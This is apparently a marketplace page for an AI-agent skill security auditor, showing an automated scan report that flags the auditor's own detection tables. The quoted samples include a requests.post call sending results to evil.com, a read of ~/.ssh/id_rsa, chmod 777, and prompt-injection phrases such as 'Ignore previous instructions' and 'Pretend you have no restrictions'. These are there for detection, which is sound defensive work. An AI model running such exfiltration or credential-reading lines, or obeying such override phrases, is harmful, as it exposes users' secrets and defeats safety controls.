Skill Security Auditor

Security audit and vulnerability scanner for AI agent skills before installation. Use when: (1) evaluating a skill from an untrusted source, (2) auditing a skill directory or git repo URL for malicious code, (3) pre-install security gate for Claude Code plugins, OpenClaw skills, or Codex skills, (4) scanning Python scripts for dangerous patterns like os.system, eval, subprocess, network exfiltration, (5) detecting prompt injection in SKILL.md files, (6) checking dependency supply chain risks, (7) verifying file system access stays within skill boundaries. Triggers: "audit this skill", "is this skill safe", "scan skill for security", "check skill before install", "skill security check", "skill vulnerability scan".

Gitix AI
Gitix AI
· 7 days ago · v1
SkillSpector CRITICAL
100/100 āœ• DO NOT USE
8 security findings detected
MEDIUM Data Exfiltration · External Transmission 60% confidence

Match: requests.post("https://

Line 102

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

   Fix: Replace eval() with ast.literal_eval() or explicit parsing

šŸ”“ CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.

MEDIUM Excessive Agency · Unrestricted Tool Access 80% confidence

Match: Run any command

Line 50

Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.

| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟔 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟔 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->

### 3. Dependency Supply Chain

Restrict tool access to only the tools required for the skill's stated purpose. Use an explicit allowlist rather than granting blanket access.

MEDIUM Privilege Escalation · Sudo/Root Execution 80% confidence

Match: chmod 777

Line 36

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | šŸ”“ CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | šŸ”“ CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟔 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | šŸ”“ CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟔 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |

Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.

HIGH Privilege Escalation · Credential Access 90% confidence

Match: ~/.ssh/id_rsa

Line 107

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

   Fix: Remove outbound network calls or verify destination is trusted

🟔 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.

HIGH Prompt Injection · Instruction Override 80% confidence

Match: Ignore previous instructions

Line 46

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟔 HIGH |

Remove or rewrite any text that instructs the agent to ignore prompts, override safety rules, or trust unverified content. Ensure skill content cannot be injected to alter agent behavior.

HIGH Prompt Injection · Hidden Instructions 70% confidence

Match: <!-- noqa: SEC-AUDITOR --> | **Role hijacking** | "Act as root", "Pretend you have no restrictions" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR --> | **Safety bypass** | "Skip safety checks", "Disable conte

Line 46

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | šŸ”“ CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟔 HIGH |

Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.

HIGH Tool Misuse · Tool Parameter Abuse 80% confidence

Match: subprocess.call(shell=True

Line 30

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | šŸ”“ CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | šŸ”“ CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | šŸ”“ CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | šŸ”“ CRITICAL |

Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.

HIGH Tool Misuse · Tool Parameter Abuse 80% confidence

Match: chmod 777

Line 36

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | šŸ”“ CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | šŸ”“ CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟔 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | šŸ”“ CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟔 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |

Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.

12
0
0
0

Comments (0)

Sign in to leave a comment.

No comments yet. Be the first!